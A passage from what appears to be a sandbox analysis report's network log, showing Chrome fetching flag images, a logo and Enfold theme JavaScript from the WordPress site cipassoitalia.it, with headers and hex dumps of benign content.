af be 53 19 88 a9 0e 52 1c 50 16 2f 56 7a Data Ascii: n`y6:0)2BB&6v`Zh"~GPApKHzG$u9>s#)PU *K<>u<(tdg}(7cqTBR+,`l&_&bvx=gMrbv\`+lI<2FCUpBAxSRP/Vz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49797	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	647	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	269	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: image/png Content-Length: 267 Connection: close Last-Modified: Thu, 10 Dec 2020 02:53:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	267	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 64 6f 20 32 39 20 64 65 63 20 32 30 30 35 20 30 32 3a 33 35 3a 33 37 20 2b 30 31 30 30 9f 03 14 04 00 00 00 07 74 49 4d 45 07 d5 0c 1d 01 28 1a 48 59 78 98 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 63 49 44 41 54 78 da dd d1 31 0e 80 20 0c 85 e1 87 e1 4c de ff 22 1e c0 86 4e 20 8e 15 8a 03 21 86 94 d5 3f 4c 25 5f 3a d4 e1 04 6e 20 02 19 2d d9 05 43 ce 0d 03 5f 4d 52 79 c1 98 54 16 d5 1c 56 53 0a 95 e5 85 3d 25 56 b6 2d 88 ae 3f 33 df 1f da 52 78 0f d0 58 d2 a7 31 f3 dc 7c 33 22 9a b3 f2 fd 00 7c d9 28 de 2d 94 57 94 Data Ascii: PNGIHDRpz+tEXtCreation Timedo 29 dec 2005 02:35:37 +0100tIME(HYxpHYs~gAMAacIDATx1 L"N !?L%_:n -C_MRyTVS=%V-?3RxX1\|3"\|(-W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49799	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	647	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	269	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: image/png Content-Length: 600 Connection: close Last-Modified: Thu, 10 Dec 2020 02:53:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	600	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 30 37 20 2b 30 31 30 30 be ae c3 bc 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 05 01 4f 0d 5e 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 b0 49 44 41 54 78 da 63 f8 5f 59 f9 ff ff ff af 5f ff cb c9 cd 60 60 68 85 a0 65 cb 5e fd 97 92 02 22 20 03 2e 08 54 70 aa 6b c3 77 0b 8b 3f 6b d7 32 7d d2 8e 60 70 75 e5 7a 74 e3 e1 c3 f4 a2 22 7b 06 86 9f 40 f4 e3 c7 17 86 ff ff 81 08 c4 00 8b e4 a7 18 3c f4 bf 67 7a 69 0d c7 c1 83 5b 98 95 19 18 18 7a 4a b3 0e 3c 49 c8 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:07 +0100tIMEO^pHYs~gAMAaIDATxc_Y_``he^" .Tpkw?k2}`puzt"{@<gzi[zJ<I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49795	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	400	OUT	GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 614 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	614	IN	Data Raw: 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 09 7b 09 20 20 20 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 52 65 6d 6f 76 65 20 54 68 65 6d 65 73 20 64 75 70 6c 69 63 61 74 65 64 20 6c 61 6e 67 75 61 67 65 20 73 77 69 74 63 68 65 72 20 66 6c 61 67 73 20 66 72 6f 6d 20 42 75 72 67 65 72 20 6d 65 6e 75 0a 09 09 20 2a 09 09 2d 20 65 78 69 73 74 20 69 6e 20 73 65 63 6f 6e 64 61 72 79 20 6d 65 6e 75 0a 09 09 20 2a 09 09 2d 20 65 78 69 73 74 20 62 65 73 69 64 65 20 73 65 61 72 63 68 20 69 63 6f 6e 0a 09 09 20 2a 2f 0a 09 09 24 28 27 62 6f 64 79 27 29 2e 6f 6e 28 20 27 61 76 69 61 5f 62 75 72 67 65 72 5f 6c 69 73 74 Data Ascii: (function($){ "use strict";$(document).ready(function(){ /** * Remove Themes duplicated language switcher flags from Burger menu - exist in secondary menu - exist beside search icon */$('body').on( 'avia_burger_list

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49802	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	648	OUT	GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:25 UTC	271	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: image/png Content-Length: 17383 Connection: close Last-Modified: Sun, 11 Sep 2022 14:56:05 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:25 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 8f 08 06 00 00 00 40 82 e6 81 00 00 43 ae 49 44 41 54 78 da ed 7d 77 9c 24 65 9d fe 53 d5 69 f2 cc ce ec ce d6 e6 cc 2e 4b 58 72 94 06 01 13 8a e1 94 13 13 66 4f 4f 69 cf 43 d1 3b bd 3b d3 cf ec 89 73 de 9d 8a 9e 62 46 d1 23 88 91 20 23 59 16 58 60 03 b0 39 f6 ee cc ec ce 4e 9e 4e f5 fb e3 fb bc 57 ef 34 55 1d aa bb 67 7a b1 be 9f 4f 7f 26 f5 54 57 bd e1 f9 3e df f8 02 81 04 12 48 20 81 04 12 48 20 81 04 12 48 20 81 fc 95 8a 11 0c 41 20 81 3c ff 25 11 b7 0c 00 21 00 26 7f 65 03 c8 02 c8 f5 f4 26 03 c0 0a 24 90 40 6a 02 3c 20 e8 18 2e 2f 93 af 10 5f 61 00 0d 00 da 01 74 01 98 0f a0 8d ef 4d 03 48 02 38 0c 60 02 c0 24 5f 13 fc db 04 80 0c 80 f1 9e de a4 5d 2f cf 1f 0e 96 40 20 81 1c 13 40 Data Ascii: PNGIHDR,@CIDATx}w$eSi.KXrfOOiC;;sbF# #YX`9NNW4UgzO&TW>H H H A <%!&e&$@j< ./_atMH8`$_]/@ @
2025-01-09 12:19:25 UTC	1270	IN	Data Raw: 73 35 cd c2 10 9c 8e 9b 06 37 d3 78 19 8c 5b f7 57 95 6b ce e7 e8 9a f8 37 48 bd dd 84 07 98 44 30 35 67 6f 92 a6 e3 c9 45 d6 e9 30 41 f0 4b 00 f6 ce 90 83 3d 06 a7 b3 6e 8a cf 3b 42 c0 0d 91 24 1c a4 32 7a 11 4d f1 0c a4 de b7 1c c5 34 48 df 9f 5b 7f fe 11 38 07 8e 1c bb 80 a5 f9 b5 32 89 b8 f5 34 27 f6 46 88 13 f3 4a 88 c3 dd 4f be 54 16 de b9 2d ea 4c 35 14 60 5f a5 4e 94 da 24 8a e9 a9 5e e5 bb 20 91 c2 63 39 d3 dd d0 98 6c 23 7d 35 06 9c 13 5a aa 75 02 74 03 a6 1e c0 d9 4f c6 73 ba 0f 5f 98 52 42 03 dc 9c 85 4a 7b 86 34 13 f0 b1 22 fd c4 43 79 73 d9 44 16 1a 2a e0 07 7c 1a 92 c3 75 23 6a d7 15 b6 14 49 42 82 19 07 38 77 bf e3 cf e7 d3 04 4c 42 4a 6e 96 72 ae 57 6b ca fe 20 9f b5 58 b3 00 55 4a d5 50 40 31 4c 5b 62 ec b4 e4 12 69 f5 4e 5b 21 0d df 6e Data Ascii: s57x[Wk7HD05goE0AK=n;B$2zM4H[824'FJOT-L5`_N$^ c9l#}5ZutOs_RBJ{4"CysD*\|u#jIB8wLBJnrWk XUJP@1L[biN[!n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49798	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	643	OUT	GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	270	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: image/png Content-Length: 7879 Connection: close Last-Modified: Fri, 11 Jun 2021 17:18:06 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	7879	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 9c 08 06 00 00 00 bd 5a cf 3c 00 00 01 83 69 43 43 50 73 52 47 42 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 28 91 75 91 bb 4b 03 41 10 87 bf c4 47 c4 f8 02 2d 2c 2c 82 44 41 50 f1 01 41 1b 8b 88 46 41 2d 62 04 a3 36 c9 79 49 84 5c 3c ee 12 24 d8 0a b6 82 82 68 e3 ab d0 bf 40 5b c1 5a 10 14 45 10 3b c1 5a d1 46 c3 39 97 04 22 62 66 99 9d 6f 7f bb 33 ec ce 82 33 94 54 34 b3 b2 0f b4 54 da 08 06 fc 9e f9 f0 82 c7 f5 42 35 6e 1a e8 a2 35 a2 98 fa f4 ec 78 88 b2 f6 79 8f c3 8e b7 3d 76 ad f2 e7 fe 35 f7 b2 6a 2a e0 a8 11 1e 51 74 23 2d 3c 21 3c b5 96 d6 6d de 11 6e 51 12 91 65 e1 33 e1 6e 43 2e 28 7c 67 eb d1 02 bf da 1c 2f f0 b7 cd 46 28 38 0a ce 26 61 4f fc 17 47 7f b1 92 30 34 61 79 39 Data Ascii: PNGIHDR\|Z<iCCPsRGB IEC61966-2.1(uKAG-,,DAPAFA-b6yI\<$h@[ZE;ZF9"bfo33T4TB5n5xy=v5j*Qt#-<!<mnQe3nC.(\|g/F(8&aOG04ay9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49796	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	394	OUT	GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 2106 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	2106	IN	Data Raw: 2f 2a 20 0a 09 74 68 69 73 20 70 72 65 76 65 6e 74 73 20 64 6f 6d 20 66 6c 69 63 6b 65 72 69 6e 67 20 66 6f 72 20 65 6c 65 6d 65 6e 74 73 20 68 69 64 64 65 6e 20 77 69 74 68 20 6a 73 2c 20 6e 65 65 64 73 20 74 6f 20 62 65 20 6f 75 74 73 69 64 65 20 6f 66 20 64 6f 6d 2e 72 65 61 64 79 20 65 76 65 6e 74 2e 61 6c 73 6f 20 61 64 64 73 20 73 65 76 65 72 61 6c 20 65 78 74 72 61 20 63 6c 61 73 73 65 73 20 66 6f 72 20 62 65 74 74 65 72 20 62 72 6f 77 73 65 72 20 73 75 70 70 6f 72 74 20 0a 09 74 68 69 73 20 69 73 20 61 20 73 65 70 61 72 61 74 65 20 66 69 6c 65 20 74 68 61 74 20 6e 65 65 64 73 20 74 6f 20 62 65 20 6c 6f 61 64 65 64 20 61 74 20 74 68 65 20 74 6f 70 20 6f 66 20 74 68 65 20 70 61 67 65 2e 20 6f 74 68 65 72 20 6a 73 20 66 75 6e 63 74 69 6f 6e 73 20 61 Data Ascii: /* this prevents dom flickering for elements hidden with js, needs to be outside of dom.ready event.also adds several extra classes for better browser support this is a separate file that needs to be loaded at the top of the page. other js functions a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49809	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	459	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:25 UTC	269	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: image/png Content-Length: 267 Connection: close Last-Modified: Thu, 10 Dec 2020 02:53:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:25 UTC	267	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 64 6f 20 32 39 20 64 65 63 20 32 30 30 35 20 30 32 3a 33 35 3a 33 37 20 2b 30 31 30 30 9f 03 14 04 00 00 00 07 74 49 4d 45 07 d5 0c 1d 01 28 1a 48 59 78 98 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 63 49 44 41 54 78 da dd d1 31 0e 80 20 0c 85 e1 87 e1 4c de ff 22 1e c0 86 4e 20 8e 15 8a 03 21 86 94 d5 3f 4c 25 5f 3a d4 e1 04 6e 20 02 19 2d d9 05 43 ce 0d 03 5f 4d 52 79 c1 98 54 16 d5 1c 56 53 0a 95 e5 85 3d 25 56 b6 2d 88 ae 3f 33 df 1f da 52 78 0f d0 58 d2 a7 31 f3 dc 7c 33 22 9a b3 f2 fd 00 7c d9 28 de 2d 94 57 94 Data Ascii: PNGIHDRpz+tEXtCreation Timedo 29 dec 2005 02:35:37 +0100tIME(HYxpHYs~gAMAacIDATx1 L"N !?L%_:n -C_MRyTVS=%V-?3RxX1\|3"\|(-W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49813	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	627	OUT	GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: text/javascript Content-Length: 40642 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	16107	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 0a 20 20 20 20 09 2f 2f 67 6c 6f 62 61 6c 20 76 61 72 69 61 62 6c 65 73 20 74 68 61 74 20 61 72 65 20 75 73 65 64 20 6f 6e 20 73 65 76 65 72 61 6c 20 6f 63 61 73 73 69 6f 6e 73 0a 20 20 20 20 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 09 0a 20 20 20 20 09 69 66 28 20 2f 41 6e 64 72 6f 69 64 7c 77 65 62 4f 53 7c 69 50 68 6f 6e 65 7c 69 50 61 64 7c 69 50 6f 64 7c 42 6c 61 63 6b 42 65 72 72 79 7c 49 45 4d 6f 62 69 6c 65 7c 4f 70 65 72 61 20 Data Ascii: (function($){ "use strict"; $(document).ready(function() { //global variables that are used on several ocassions $.avia_utilities = $.avia_utilities \|\| {}; if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera
2025-01-09 12:19:26 UTC	16384	IN	Data Raw: 2f 2f 69 65 38 20 6e 65 65 64 73 20 64 69 66 66 65 72 65 6e 74 20 69 6e 73 65 72 74 20 6d 65 74 68 6f 64 0a 09 09 09 74 72 79 7b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 2e 74 65 78 74 28 63 73 73 29 3b 20 0a 09 09 09 7d 0a 09 09 09 63 61 74 63 68 28 65 72 72 29 7b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 2e 72 65 6d 6f 76 65 28 29 3b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 20 3d 20 24 28 22 3c 73 74 79 6c 65 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 69 64 3d 27 61 76 2d 62 72 6f 77 73 65 72 2d 68 65 69 67 68 74 27 3e 22 2b 63 73 73 2b 22 3c 2f 73 74 79 6c 65 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 27 68 65 61 64 3a 66 69 72 73 74 27 29 3b 0a 09 09 09 7d 0a 09 09 09 0a 09 09 09 0a 09 09 09 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f Data Ascii: //ie8 needs different insert methodtry{css_block.text(css); }catch(err){css_block.remove();css_block = $("<style type='text/css' id='av-browser-height'>"+css+"</style>").appendTo('head:first');}setTimeout(functio
2025-01-09 12:19:26 UTC	8151	IN	Data Raw: 30 2e 30 38 35 2c 20 30 2e 34 39 30 2c 20 31 2e 33 36 35 29 27 20 0a 09 09 7d 3b 0a 0a 09 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 09 63 68 65 63 6b 20 69 66 20 61 20 63 73 73 20 66 65 61 74 75 72 65 20 69 73 20 73 75 70 70 6f 72 74 65 64 20 61 6e 64 20 73 61 76 65 20 69 74 20 74 6f 20 74 68 65 20 73 75 70 70 6f 72 74 65 64 20 61 72 72 61 79 0a 09 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 09 24 2e Data Ascii: 0.085, 0.490, 1.365)' };/**********************************************************************check if a css feature is supported and save it to the supported array***********************************************************************/$.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49812	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	459	OUT	GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	269	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: image/png Content-Length: 600 Connection: close Last-Modified: Thu, 10 Dec 2020 02:53:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:26 UTC	600	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 30 37 20 2b 30 31 30 30 be ae c3 bc 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 05 01 4f 0d 5e 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 b0 49 44 41 54 78 da 63 f8 5f 59 f9 ff ff ff af 5f ff cb c9 cd 60 60 68 85 a0 65 cb 5e fd 97 92 02 22 20 03 2e 08 54 70 aa 6b c3 77 0b 8b 3f 6b d7 32 7d d2 8e 60 70 75 e5 7a 74 e3 e1 c3 f4 a2 22 7b 06 86 9f 40 f4 e3 c7 17 86 ff ff 81 08 c4 00 8b e4 a7 18 3c f4 bf 67 7a 69 0d c7 c1 83 5b 98 95 19 18 18 7a 4a b3 0e 3c 49 c8 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:07 +0100tIMEO^pHYs~gAMAaIDATxc_Y_``he^" .Tpkw?k2}`puzt"{@<gzi[zJ<I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49811	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:25 UTC	440	OUT	GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:26 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:25 GMT Content-Type: text/javascript Content-Length: 70105 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
